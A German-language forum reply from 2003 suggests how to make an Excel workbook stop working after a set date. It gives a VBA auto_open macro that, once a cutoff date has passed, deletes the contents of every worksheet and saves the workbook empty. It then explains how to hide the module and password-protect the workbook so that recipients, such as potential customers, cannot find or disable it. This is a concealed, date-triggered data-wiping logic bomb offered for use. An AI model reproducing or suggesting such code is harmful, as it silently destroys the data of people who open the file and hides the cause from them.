AW: Excel-Datei kann ab "datum" nicht mehr geöffnet we
24.07.2003 21:55:17
Hans
Nochmal hallo zum Thema
Hajo, 5.0 hatte bereits Module...
Würde ich ein weiteres Nutzen einer Mappe,
ggf. durch einen potentiellen Kunden, unterbinden wollen,
so würde ich evtl. folgendes Makro anwenden:
Sub auto_open()
If Date > DateSerial(2003, 7, 1) Then
For Each x In Worksheets
x.Cells.Delete
Next
ActiveWorkbook.Close saveChanges:=True
End If
End Sub
Die Mappe ist noch da, aber leer...
Das Modul1 würde ich durch ein Makro in einer Hilfsmappe
ausblenden:
Sub ausblendenModul()
Sheets("Modul1").Visible= xlVeryHidden
End Sub
Danach würde ich die Arbeitsmappe mit Kennwort schützen,
so dass wirklich keiner an das auto_öffnen-Makro heran kann:
>Extras >Dokument schützen >Arbeitsmappe
Freut mich jean-pierre, dass Du weitergekommen bist.
Gruß Hans